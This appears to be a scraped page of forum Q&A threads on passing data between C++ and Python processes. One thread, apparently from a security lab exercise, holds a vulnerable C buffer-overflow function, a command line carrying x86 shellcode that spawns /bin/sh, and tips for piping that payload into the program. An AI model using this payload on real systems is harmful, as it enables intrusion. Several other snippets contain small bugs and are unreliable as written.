How can I pass variables from Python back to C++? - python

I have 2 files - a .cpp file and a .py file. I use system("python something.py"); to run the .py file and it has to get some input. How do I pass the input back to the .cpp file? I don't use the Python.h library, I have two separate files.

system() is a very blunt hammer and doesn't support much in the way of interaction between the parent and the child process.
If you want to pass information from the Python script back to the C++ parent process, I'd suggest having the python script print() to stdout the information you want to send back to C++, and have the C++ program parse the python script's stdout-output. system() won't let you do that, but you can use popen() instead, like this:
#include <stdio.h>
int main(int, char **)
{
FILE * fpIn = popen("python something.py", "r");
if (fpIn)
{
char buf[1024];
while(fgets(buf, sizeof(buf), fpIn))
{
printf("The python script printed: [%s]\n", buf);
// Code to parse out values from the text in (buf) could go here
}
pclose(fpIn); // note: be sure to call pclose(), *not* fclose()
}
else printf("Couldn't run python script!\n");
return 0;
}
If you want to get more elaborate than that, you'd probably need to embed a Python interpreter into your C++ program and then you'd be able to call the Python functions directly and get back their return values as Python objects, but that's a fairly major undertaking which I'm guessing you want to avoid.

Related

How to send and receive data (and / or data structures) from a C ++ script to a Python script?

I am working on a project that needs to do the following:
[C++ Program] Checks a given directory, extracts all the names (full paths) of the found files and records them in a vector<string>.
[C++ Program] "Send" the vector to a Python script.
[Python Script] "Receive" the vector and transform it into a List.
[Python Script] Compares the elements of the List (the paths) against the records of a database and removes the matches from the List (removes the paths already registered).
[Python Script] "Sends" the processed List back to the C++ Program.
[C++ Program] "Receives" the List, transforms it into a vector and continues its operations with this processed data.
I would like to know how to send and receive data structures (or data) between a C ++ Script and a Python Script.
For this case I put the example of a vector transforming into a List, however I would like to know how to do it for any structure or data in general.
Obviously I am a beginner, that is why I would like your help on what documentation to read, what concepts should I start with, what technique should I use (maybe there is some implicit standard), what links I could review to learn how to communicate data between Scripts of the languages ​​I just mentioned.
Any help is useful to me.
You could check out redis. It can be used as a message broker between programs. https://redis.io/
They have a clients for many langues including c++ and python.
https://redis.io/clients
You can set up channels for each program to publish messages through and have the other program subscribe to that channel to receive those messages.
Check out the pubsub part of the documentation: https://redis.io/topics/pubsub
You can pass arguments to any process/script no matter what language they are written in.
In C++ they are represented as argc (number of arguments) and argv (actual arguments).
#include <iostream>
int main(int argc, char** argv) {
std::cout << "Have " << argc << " arguments:" << std::endl;
for (int i = 0; i < argc; ++i) {
std::cout << argv[i] << std::endl;
}
}
For example, if you're using g++ as your compiler. Then running:
g++ file.cpp -o main
./main hello world
Should output:
Have 3 arguments:
hello
world
Note that size of the arguments is 3 although you're passing hello and world only, it's because the first element in argv is always the name of your program.
Its equivalent in Python would be:
import sys
print('Have ' + len(sys.argv) + 'arguments:')
print("Argument List:", str(sys.argv))
If I were you, I would start by serializing the vector/list and pass it as an argument back and forth between the Python and C++ processes as above.
If the idea is to execute the python script from the c++ process, then the easiest would be to design the python script to accept input_file and output_file as arguments and the c++ program should write the input_file, start the script and read the output_file.
For simple structures like list-of-strings, you can simply write them as text files and share, but for more complex types, you can use google-protocolbuffers to do the marshalling/unmarshalling.
if the idea is to send/receive data between two already stared process, then you can use the same protocol buffers to encode data and send/receive via sockets between each other. Check gRPC

How can I save a python function to a static c++ container using pybind11?

Essentially, on the C++ side I have a container that holds a certain type of function. Now I would like to expose this container to python with the possibility for the users to provide their own python functions.
The simplest example would look like this:
#include "pybind/common/Common.h"
using CppFunc = std::function< int (int) >;
PYBIND11_MODULE( test, m )
{
m.def("addFunc", [](const pybind11::function& f){
static std::vector<CppFunc> vec{};
vec.push_back(f.cast<CppFunc>());
});
}
Then in python I would like to just do something like this.
import test
def myFunc(number):
return number+1
test.addFunc(myFunc)
Interestingly enough, this works fine. However, if I run the script with "python script.py" it runs through and then never terminates. In an interactive console, the same code works fine until you try to close the console: the process gets stuck.
How can I safely store this python function in the C++ container?
static std::vector<CppFunc> vec{} stores references to python objects (user functions) which never get released due to static storage, therefore interpreter cannot terminate.
To ensure interpreter termination you can call a cleanup function at module termination:
#include "pybind11/pybind11.h"
#include "pybind11/functional.h"
namespace py = pybind11;
using CppFunc = std::function< int (int) >;
PYBIND11_MODULE( test , m )
{
static std::vector<CppFunc> vec{};
m.def("addFunc", [](CppFunc f){
vec.push_back(std::move(f));
});
m.add_object("_cleanup", py::capsule([]{ vec.clear(); }));
}
See doc for more details: https://pybind11.readthedocs.io/en/stable/advanced/misc.html#module-destructors

How to use a script to control the program's input?

I need to control the input of a simple program written in C. I'm working on a Linux virtual machine (it's a computer security challenge) and I'm using GDB to find a good exploit (in this case it's a buffer overflow).
Here's the code:
static const char KEY[] = "BLOCKCHAIN";
void vuln(){
int i;
char buffer[616];
int output = fread(buffer, 1, 4*1024, stdin);
for (i = 0; i < 616; i++) {
buffer[i] ^= KEY[i % sizeof(KEY)];
}
printf("%s\n", buffer);
}
int main(int argc, char *argv[]){
vuln();
exit(0);
}
The line I want to cover is int output = fread(buffer, 1, 4*1024, stdin);. Is there a way to control the input of that program (so the input stream) with a simple script? I want to do something like:
./vuln_program `python -c 'print("\x90"*923+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x48\xbf\xff\xff")'`
This works if It were an argument of the main but unfortunately I'm inside the vuln() function and can't do this. Professors suggested to use: Python's subprocess module, or read\write from\to a named pipe (mkfifo), or the process module of theuse the pwntools Python library but I don't know how to use them in this scenario.
Thanks in advance.
You can do something like
$ python -c "exploit code" | ./vuln
Everything generated by python will be in arguments not in stdin. If you need to pass something to stdin you need to do: ./vuln_program < file_with_stdin_data
it doesn't need python at all to put some defined data to input stream, you can have data in normal file.
You can use python subprocess module to communicate with your script. Then you need to create subprocess and write something to its stdin. Check for python doc this:
As #blinkofaneye said, the simplest solution is using $ python -c "exploit code" | ./vuln
If you have to do it inside GDB (like me) as already suggested in this question Run a python command with “run” on GDB, the trick is to enter GDB and than use "Here strings":
run <<< $(python -c "print('exploit code')")

How to call a large python script in C++?

I am trying to take aspects of two different scripts and use them in a single C++ program (using Ubuntu). The problem I have is that one of the scripts is written in C++ and the other is written in python. I have been trying to accomplish this using the Python.h library, but (being fairly new to programming), I cannot find any resources that would allow me to open the python file in C++. Does anyone have any suggestions?
As an example, I want to do something like the following:
#include <python2.7/Python.h>
//include other stuff
int main (int argc, char *argv[])
{
//open python script here
//use result from python script here
}
Thanks!
You should use popen, it pipes stdin/stdout of child process to returned file handle. Now what you can do is
File* in = popen("python script_name.py", "r");
Now you can use this FILE* to read the output of your python script.
Than you can use fscanf(in, buffer_size, buffer) of fgets(buffer, buffer_size, in) to read from file. Finally after reading from file don't forget to call pclose(in).

Exchanging info between running C++ code and python script

I have a python script that is called inside a C++ program. The python script creates a directory based on the current time, puts files in there, and then execution returns to C++. I want to save a parameters file into the directory created in the python program.
I figure my options are:
Pass in the text to save in the parameters file to the Python program and have it create and save the file
Return the location of the directory to C++ from python so it knows where to save the file
Use C++ to locate the most recently created directory after execution of the python script and put file there
I'm not sure how to do any of this. My python script is not embedded. I use
std::string test = "python analyzeData2.py";
system(test.c_str());
to call a python script.
Any ideas how to do this?
I'd go with option B -- return the location of the directory to c++ from python so it knows where to save the file.
If you plan on using system(), something like this:
char* dirname[64];
FILE* fin;
system("python analyzeData2.py > created.log");
fin = fopen("created.log", "r");
fgets(dirname, sizeof(dirname), fin);
fclose(fin);
/* dirname has contents of created.log */
...

Categories

Resources